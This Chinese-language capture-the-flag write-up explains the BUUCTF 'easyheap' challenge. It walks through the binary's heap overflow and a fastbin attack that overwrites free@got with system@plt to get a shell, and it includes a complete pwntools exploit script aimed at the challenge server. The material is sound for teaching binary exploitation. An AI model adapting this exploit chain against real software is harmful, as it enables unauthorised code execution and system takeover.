程序开启了Canary和NX保护,无PIE,Partial RELRO表明可以修改GOT表,这为后续的利用提供了可能。
程序功能分析
程序是一个菜单式堆管理程序,主要功能包括创建、编辑和删除堆块。
main函数
主函数是一个无限循环,处理用户输入并调用相应功能。值得注意的是,菜单中隐藏了一个选项4869,当满足条件(全局变量magic > 0x1305)时会调用l33t()函数(执行system(“cat /home/pwn/flag”))。但实际环境中该flag文件不存在,因此需另寻利用路径。
while ( 1 ) {
menu();
read(0, buf, 8uLL);
v3 = atoi(buf);
if ( v3 != 3 ) break;
delete_heap();
}
if ( v3 > 3 ) {
if ( v3 == 4 ) exit(0);
if ( v3 == 4869 ) {
if ( (unsigned __int64)magic <= 0x1305 ) {
puts(“So sad !”);
} else {
puts(“Congrt !”);
l33t();
}
} else {
LABEL_17:
puts(“Invalid Choice”);
}
} else if ( v3 == 1 ) {
create_heap();
} else {
if ( v3 != 2 ) goto LABEL_17;
edit_heap();
}
关键漏洞:edit_heap函数
在edit_heap函数中存在一个典型的堆溢出漏洞。该函数允许用户指定要编辑的堆块索引和新的内容大小,但在写入时,并未检查用户输入的size是否小于或等于堆块原始大小。这导致可以溢出写入相邻堆块,是常见的渗透测试中需要关注的漏洞点。
printf(“Size of Heap : “);
read(0, buf, 8uLL);
v2 = atoi(buf); // v2为用户可控的写入长度
printf(“Content of heap : “);
read_input(*(&heaparray + v1), v2); // 可能造成溢出
利用思路
利用链主要分为四步:
- 伪造Fastbin Chunk:利用
edit_heap的溢出漏洞,覆盖一个已释放的fastbin chunk的fd指针,使其指向bss段(如heaparray数组附近),从而在下次分配时“伪造”一个我们可以控制的chunk。
- 劫持heaparray指针:通过操作伪造的chunk,修改
heaparray数组中的某个指针,例如让heaparray[0]指向free@got。
- 篡改GOT表:由于
heaparray[0]现在指向free@got,再次使用edit_heap编辑索引0,即可将free@got中的内容修改为system@plt的地址。
- 触发Shell:事先在一个可控堆块(如
heaparray[1])中写入字符串”/bin/sh\x00″。当程序调用free(heaparray[1])时,实际执行的是system(“/bin/sh”),从而获得shell。
EXP与调试分析
以下为完整的利用脚本(Python,使用pwntools):
from pwn import *
context(arch = ‘amd64’, os = ‘linux’, log_level = ‘debug’)
io = remote(“node5.buuoj.cn”, 28812)
elf = ELF(“./easyheap”)
def allocate(size, payload):
io.sendlineafter(b”Your choice :”, b’1′)
io.sendlineafter(b”Size of Heap : “, str(size).encode())
io.sendafter(b”Content of heap:”, payload)
def fill(index, size, payload):
io.sendlineafter(b”Your choice :”, b’2′)
io.sendlineafter(b”Index :”, str(index).encode())
io.sendlineafter(b”Size of Heap : “, str(size).encode())
io.sendafter(b”Content of heap : “, payload)
def free(index):
io.sendlineafter(b”Your choice :”, b’3′)
io.sendlineafter(b”Index :”, str(index).encode())
# 1. 申请两个chunk
allocate(0x60, b’aaa’)
allocate(0x60, b’aaa’)
# 2. 释放chunk1进入fastbin,并通过溢出chunk0修改其fd指针
free(1)
payload = b’a’*0x68 + p64(0x71) + p64(0x6020ad) # fd指向bss段伪造chunk
fill(0, len(payload), payload)
# 3. 两次分配,第二次得到伪造chunk。同时准备好”/bin/sh”
allocate(0x60, b’/bin/sh\x00′) # 新chunk1
payload = b’a’*0x23 + p64(elf.got[“free”]) # 通过伪造chunk修改heaparray[0]为free@got
allocate(0x60, payload) # 伪造chunk (索引2)
# 4. 通过编辑heaparray[0](即free@got),将其值改为system@plt
payload = p64(elf.plt[“system”])
fill(0, len(payload), payload)
# 5. 释放存有”/bin/sh”的chunk1,触发system(“/bin/sh”)
free(1)
io.interactive()
关键步骤调试解析
- 初始状态:分配两个0x70大小(包含chunk头)的chunk。
- 释放与溢出:释放chunk1后,其
fd指针为NULL。通过溢出chunk0,我们将其fd覆盖为0x6020ad。这个地址位于bss段的heaparray数组之前,经过计算可以伪装成一个size为0x7f的chunk,以通过fastbin的分配检查。
- 布局内存:第一次
allocate(0x60)将原chunk1分配回来,我们写入”/bin/sh\x00″。第二次allocate(0x60)将分配我们伪造的bss段chunk。通过向这个伪造chunk写入特定偏移的数据,我们精确地将heaparray[0]的值修改成了free@got的地址。
- 完成利用:此时,编辑索引0就相当于修改
free@got的内容。我们将其改为system@plt地址。最后释放索引1(内容为”/bin/sh”),程序调用free()时实际跳转至system(),成功获取shell。这种通过篡改GOT表劫持程序流的技术是渗透测试中绕过安全机制的重要手段。
总结
本题是一道经典的堆利用入门题,综合考察了以下知识点:
- 堆溢出漏洞的识别与利用。
- Fastbin Attack:通过溢出修改
fd指针,在任意地址(本例为bss段)伪造chunk。
- 全局指针数组劫持:通过伪造chunk修改管理指针,使其指向关键函数GOT表。
- GOT表覆写:利用指针劫持,将
free@got改写为system@plt,从而在调用free时执行system。
整个利用链清晰展示了从信息泄露(通过溢出)到最终控制流劫持(GOT Hijacking)的完整过程,是学习现代渗透测试中二进制漏洞利用的典型案例。